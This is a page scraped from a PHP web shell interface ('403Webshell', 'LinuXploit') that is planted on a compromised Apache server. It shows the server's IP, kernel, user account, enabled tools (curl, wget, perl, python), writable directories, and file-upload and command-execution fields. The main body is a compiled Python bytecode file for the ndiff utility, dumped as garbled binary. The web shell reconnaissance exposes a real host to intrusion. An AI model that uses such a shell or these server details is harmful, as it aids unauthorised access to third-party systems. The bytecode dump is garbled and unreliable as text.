403Webshell
Server IP : 118.27.122.248  /  Your IP : 216.73.216.124
Web Server : Apache
System : Linux web0264.sh.tyo1 4.18.0-553.79.1.lve.el7h.x86_64 #1 SMP Wed Oct 15 16:34:46 UTC 2025 x86_64
User : c9415830 ( 11735)
PHP Version : 8.4.17
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /opt/alt/python36/lib64/python3.6/Tools/scripts/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /opt/alt/python36/lib64/python3.6/Tools/scripts/__pycache__/ndiff.cpython-36.opt-1.pyc
3

x2_��@s�dZdZddlZddlZdd�Zdd�Zd	d
�Zdd�Zd
d�Ze	dkr�ej
dd�Zdekr�ddlZddl
Z
ejd�dZejde�e
je�Zej�jd�j�nee�dS)a�ndiff [-q] file1 file2
    or
ndiff (-r1 | -r2) < ndiff_output > file1_or_file2

Print a human-friendly file difference report to stdout.  Both inter-
and intra-line differences are noted.  In the second form, recreate file1
(-r1) or file2 (-r2) on stdout, from an ndiff report on stdin.

In the first form, if -q ("quiet") is not specified, the first two lines
of output are

-: file1
+: file2

Each remaining line begins with a two-letter code:

    "- "    line unique to file1
    "+ "    line unique to file2
    "  "    line common to both files
    "? "    line not present in either input file

Lines beginning with "? " attempt to guide the eye to intraline
differences, and were not present in either input file.  These lines can be
confusing if the source files contain tab characters.

The first file can be recovered by retaining only lines that begin with
"  " or "- ", and deleting those 2-character prefixes; use ndiff with -r1.

The second file can be recovered similarly, but by retaining only "  " and
"+ " lines; use ndiff with -r2; or, on Unix, the second file can be
recovered by piping the output through

    sed -n '/^[+ ] /s/^..//p'
���NcCs tjj}||d�|t�dS)Nz

r)�sys�stderr�write�__doc__)�msg�out�r
�8/opt/alt/python36/lib64/python3.6/Tools/scripts/ndiff.py�fail5srcCsByt|�Stk
r<}ztd|dt|��Sd}~XnXdS)Nzcouldn't open z: )�open�IOErrorr�str)Zfname�detailr
r
r�fopen=srcCsft|�}t|�}|s|r dS|j�}|j�|j�}|j�x tj||�D]}t|dd�qNWdS)Nr� )�endr)r�	readlines�close�difflibZndiff�print)�f1name�f2name�f1�f2�a�b�liner
r
r�fcompareDsrcCsddl}y|j|d�\}}Wn*|jk
rF}ztt|��Sd}~XnXd}d}}x2|D]*\}}|dkrtd}d}qZ|dkrZd}|}	qZW|r�|r�td�S|r�|r�td�S|	dkr�t|	�dStd
�St|�dkr�td�S|\}
}|�r�td
|
�td|�t|
|�S)Nrzqr:rz-qz-rzcan't specify both -q and -rzno args allowed with -r option�1�2z-r value must be 1 or 2�zneed 2 filename argsz-:z+:)r r!)�getopt�errorrr�restore�lenrr)�argsr#ZoptsrZnoisyZqseenZrseenZopt�valZ	whichfilerrr
r
r�mainTs<

r)cCs"tjtjj�|�}tjj|�dS)N)rr%r�stdinr�stdout�
writelines)ZwhichZrestoredr
r
rr%wsr%�__main__z-profilez	ndiff.proz
main(args)Ztime)rrr)r�__version__rrrrrr)r%�__name__�argvr'ZprofileZpstats�removeZstatfZrunZStatsZstatsZ
strip_dirsZ
sort_statsZprint_statsr
r
r
r�<module>/s"#



Youez - 2016 - github.com/yon3zu
LinuXploit